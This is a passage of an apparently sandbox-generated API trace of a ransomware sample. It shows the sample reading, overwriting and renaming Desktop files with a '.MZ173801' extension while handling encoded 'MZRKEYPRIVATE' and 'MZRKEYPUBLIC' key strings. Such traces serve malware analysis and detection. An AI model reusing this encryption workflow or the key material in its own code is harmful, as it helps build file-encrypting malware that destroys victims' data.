lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0xaf96, lpOverlapped=0x0) returned 1 [0175.873] CloseHandle (hObject=0x320) returned 1 [0175.874] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\BpRoek76B4s.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\bproek76b4s.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0175.942] WriteFile (in: hFile=0x320, lpBuffer=0x24ac040*, nNumberOfBytesToWrite=0xaf96, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24ac040*, lpNumberOfBytesWritten=0x19fa24*=0xaf96, lpOverlapped=0x0) returned 1 [0175.944] CloseHandle (hObject=0x320) returned 1 [0175.945] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\BpRoek76B4s.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\bproek76b4s.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\BpRoek76B4s.m4a.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\bproek76b4s.m4a.mz173801")) returned 1 [0175.946] GetCurrentThreadId () returned 0xab4 [0175.946] GetCurrentThreadId () returned 0xab4 [0175.946] GetCurrentThreadId () returned 0xab4 [0175.946] GetCurrentThreadId () returned 0xab4 [0175.946] GetCurrentThreadId () returned 0xab4 [0175.946] GetCurrentThreadId () returned 0xab4 [0175.946] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56aa5330, ftCreationTime.dwHighDateTime=0x1d5e848, ftLastAccessTime.dwLowDateTime=0x45cd1af0, ftLastAccessTime.dwHighDateTime=0x1d5e813, ftLastWriteTime.dwLowDateTime=0x45cd1af0, ftLastWriteTime.dwHighDateTime=0x1d5e813, nFileSizeHigh=0x0, nFileSizeLow=0xe7c, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="B_iWPY4YFBG.m4a", cAlternateFileName="B_IWPY~1.M4A")) returned 1 [0175.946] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0175.946] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0175.946] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\B_iWPY4YFBG.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\b_iwpy4yfbg.m4a"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56aa5330, ftCreationTime.dwHighDateTime=0x1d5e848, ftLastAccessTime.dwLowDateTime=0x45cd1af0, ftLastAccessTime.dwHighDateTime=0x1d5e813, ftLastWriteTime.dwLowDateTime=0x45cd1af0, ftLastWriteTime.dwHighDateTime=0x1d5e813, nFileSizeHigh=0x0, nFileSizeLow=0xe7c)) returned 1 [0175.946] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\B_iWPY4YFBG.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\b_iwpy4yfbg.m4a")) returned 0x20 [0175.946] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\B_iWPY4YFBG.m4a", dwFileAttributes=0x80) returned 1 [0175.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0175.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0175.949] GetCurrentThreadId () returned 0xab4 [0175.950] GetCurrentThreadId () returned 0xab4 [0175.950] GetCurrentThreadId () returned 0xab4 [0175.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0175.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0175.951] GetCurrentThreadId () returned 0xab4 [0175.951] GetCurrentThreadId () returned 0xab4 [0175.951] GetCurrentThreadId () returned 0xab4 [0175.951] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\B_iWPY4YFBG.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\b_iwpy4yfbg.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0175.951] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0175.951] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0175.951] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0xe7c [0175.951] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0175.951] ReadFile (in: hFile=0x320, lpBuffer=0x24a0010, nNumberOfBytesToRead=0xe7c, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0xe7c, lpOverlapped=0x0) returned 1 [0175.952] CloseHandle (hObject=0x320) returned 1 [0175.954] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\B_iWPY4YFBG.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\b_iwpy4yfbg.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0175.955] WriteFile (in: hFile=0x320, lpBuffer=0x24a2040*, nNumberOfBytesToWrite=0xe7c, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24a2040*, lpNumberOfBytesWritten=0x19fa24*=0xe7c, lpOverlapped=0x0) returned 1 [0175.956] CloseHandle (hObject=0x320) returned 1 [0175.956] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\B_iWPY4YFBG.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\b_iwpy4yfbg.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\B_iWPY4YFBG.m4a.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\b_iwpy4yfbg.m4a.mz173801")) returned 1 [0175.957] GetCurrentThreadId () returned 0xab4 [0175.957] GetCurrentThreadId () returned 0xab4 [0175.957] GetCurrentThreadId () returned 0xab4 [0175.957] GetCurrentThreadId () returned 0xab4 [0175.957] GetCurrentThreadId () returned 0xab4 [0175.957] GetCurrentThreadId () returned 0xab4 [0175.957] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb80199c0, ftCreationTime.dwHighDateTime=0x1d5ef5c, ftLastAccessTime.dwLowDateTime=0x971f95d0, ftLastAccessTime.dwHighDateTime=0x1d5ea3a, ftLastWriteTime.dwLowDateTime=0x971f95d0, ftLastWriteTime.dwHighDateTime=0x1d5ea3a, nFileSizeHigh=0x0, nFileSizeLow=0x4dbd, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="D7yD06jADs4bzbO.xlsx", cAlternateFileName="D7YD06~1.XLS")) returned 1 [0175.957] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0175.958] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0175.958] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\D7yD06jADs4bzbO.xlsx" (normalized: "c:\\users\\fd1hvy\\desktop\\d7yd06jads4bzbo.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb80199c0, ftCreationTime.dwHighDateTime=0x1d5ef5c, ftLastAccessTime.dwLowDateTime=0x971f95d0, ftLastAccessTime.dwHighDateTime=0x1d5ea3a, ftLastWriteTime.dwLowDateTime=0x971f95d0, ftLastWriteTime.dwHighDateTime=0x1d5ea3a, nFileSizeHigh=0x0, nFileSizeLow=0x4dbd)) returned 1 [0175.958] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D7yD06jADs4bzbO.xlsx" (normalized: "c:\\users\\fd1hvy\\desktop\\d7yd06jads4bzbo.xlsx")) returned 0x20 [0175.958] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D7yD06jADs4bzbO.xlsx", dwFileAttributes=0x80) returned 1 [0175.960] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xc